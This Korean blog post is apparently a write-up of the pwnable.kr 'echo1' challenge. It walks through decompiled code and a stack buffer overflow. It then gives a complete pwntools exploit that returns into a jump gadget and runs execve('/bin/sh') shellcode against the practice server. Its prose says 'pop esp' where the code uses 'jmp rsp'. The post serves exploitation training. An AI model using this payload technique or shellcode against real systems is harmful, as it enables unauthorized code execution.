Pwnstar

Pwnable.kr echo1 본문

Pwnable.kr/Rookiss

Pwnable.kr echo1

포너블처돌이 2020. 7. 28. 17:00

 

echo1 문제이다.

 

mitigation

쉘코드 실행시킬 수 있음

 

소스코드(IDA)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _QWORD *v3; // rax
  unsigned int v5; // [rsp+Ch] [rbp-24h]
  __int64 v6; // [rsp+10h] [rbp-20h]
  __int64 v7; // [rsp+18h] [rbp-18h]
  __int64 v8; // [rsp+20h] [rbp-10h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  o = malloc(0x28uLL);
  *((_QWORD *)o + 3) = greetings;
  *((_QWORD *)o + 4) = byebye;
  printf("hey, what's your name? : ", 0LL);
  __isoc99_scanf("%24s", &v6);
  v3 = o;
  *(_QWORD *)o = v6;
  v3[1] = v7;
  v3[2] = v8;
  id = v6;
  getchar();
  func[0] = (__int64)echo1;
  qword_602088 = (__int64)echo2;
  qword_602090 = (__int64)echo3;
  v5 = 0;
  do
  {
    while ( 1 )
    {
      while ( 1 )
      {
        puts("\n- select echo type -");
        puts("- 1. : BOF echo");
        puts("- 2. : FSB echo");
        puts("- 3. : UAF echo");
        puts("- 4. : exit");
        printf("> ");
        __isoc99_scanf("%d", &v5);
        getchar();
        if ( v5 > 3 )
          break;
        ((void (*)(void))func[v5 - 1])();
      }
      if ( v5 == 4 )
        break;
      puts("invalid menu");
    }
    cleanup();
    printf("Are you sure you want to exit? (y/n)");
    v5 = getchar();
  }
  while ( v5 != 121 );
  puts("bye");
  return 0;
}

 

취약점은 의외로 찾기 쉬웠다. 1번 메뉴 bof에서 bof가 발생하기 때문이다.

 

__int64 echo1()
{
  char s; // [rsp+0h] [rbp-20h]

  (*((void (__fastcall **)(void *))o + 3))(o);
  get_input(&s, 128LL);
  puts(&s);
  (*((void (__fastcall **)(void *))o + 4))(o);
  return 0LL;
}

 

시나리오는 대충 이렇다. 처음에 name을 입력하는 곳의 주소를 알고 있기 때문에, 이 부분에 pop esp에 해당하는 코드를 넣을 것이다.

 

그리고 bof 메뉴로 돌아와 dummy를 40바이트, 그리고 name의 주소를 return address에 넣고, 그 뒤에 쉘코드를 넣는다.

 

그러면 pop esp가 실행되고 esp는 return address 바로 뒤에 있는 쉘코드의 주소가 된다.

 

ex.py

from pwn import *

context.log_level = 'debug'

#p = process("./echo1")
p = remote("pwnable.kr", 9010)
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
Id = 0x6020A0
jump = "\xff\xe4"

p.recvuntil("hey, what's your name? : ")


p.sendline(jump)

p.recvuntil("> ")
p.sendline("1")

p.recvuntil("\n")

payload = "A"*40
payload += p64(Id)
payload += shellcode

p.sendline(payload)

p.interactive()

 

 

'Pwnable.kr > Rookiss' 카테고리의 다른 글

Pwnable.kr rsa_calculator  (0) 2020.07.29
Pwnable.kr echo2  (0) 2020.07.28
Pwnable.kr fix  (0) 2020.07.28
Pwnable.kr otp  (0) 2020.07.28
Pwnable.kr syscall  (0) 2020.07.22
Comments